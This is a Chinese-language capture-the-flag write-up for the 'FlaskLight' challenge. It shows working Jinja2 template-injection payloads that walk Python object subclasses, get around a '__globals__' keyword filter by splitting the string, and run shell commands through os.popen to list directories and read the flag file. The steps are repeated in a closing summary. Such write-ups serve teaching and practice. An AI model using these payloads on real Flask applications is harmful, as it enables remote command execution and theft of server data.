• [CSCCTF 2019 Qual]FlaskLight


        1. 进入题目可也看到有一个FlaskLight的提示,以及页面上显示你查询的和查询的结果字样。先查看源码发现提示内容:有一个get请求方式的参数search    

        2. 传递参数search并进行模板注入的测试,输入?search={{5*8}},页面输出表达式的结果,很好可以进行模板注入,回显点在You searched for下面
       


        3. 寻找执行命可以借助的类
            a. 获取变量[]所属的类名 {{[].__class__}}
            页面回显 <type 'list'>
            b. 获取list所继承的基类名 {{[].__class__.__base__}}
            页面回显 <type 'object'>
            c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
            这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成"")    

             

            d. 经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令。


        不含os模块的类warnings.catch_warnings

      进行命令执行
            a. 目录读取
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
            PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
            页面回显:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
            b. 读取目录flasklight
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
            页面回显:app.py coomme_geeeett_youur_flek
            c. cat文件 coomme_geeeett_youur_flek 得到flag
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

             

            d. 之后又cat了一下同目录下的app.py文件,发现确实gloabls在和名单下
              


        内含os模块的类 class'site._Printer'
           a. 目录查询
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
            因为这里listdir同样被ban了
          b.  读取目录flasklight
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
           c. 读取flag
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

    a. 获取变量[]所属的类名 {{[].__class__}}
    b. 获取list所继承的基类名 {{[].__class__.__base__}}    
    c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
    
    没有内置的os模块的类
    目录查询
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
    读取目录flask
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
    读取flag
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
    

    内含os模块的类(不需要import os)
    class'site._Printer' 内含os模块 在第71位 目录查询 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 本来想直接用listdir('/'),但这里listdir同样被ban了 读取目录flasklight {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} 读取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}
  • 相关阅读:
    HTTP协议 学习笔记一
    web发展历史
    Easydarwin加FFMPEG实现HLS流视频点播
    C# Socket异步实现消息发送--附带源码
    C# Activex调用USB摄像头--附带源码
    C# listbox DataSource数据绑定--一年半以前的bug
    ASP.NET MVC WebAPI实现文件批量上传
    ASP.NET MVC使用SignalR统计在线用户人数
    Chart.js Y轴数据以百分比展示
    Java获取字符串信息
  • 原文地址:https://www.cnblogs.com/ersuani/p/13896200.html
Copyright © 2020-2023  润新知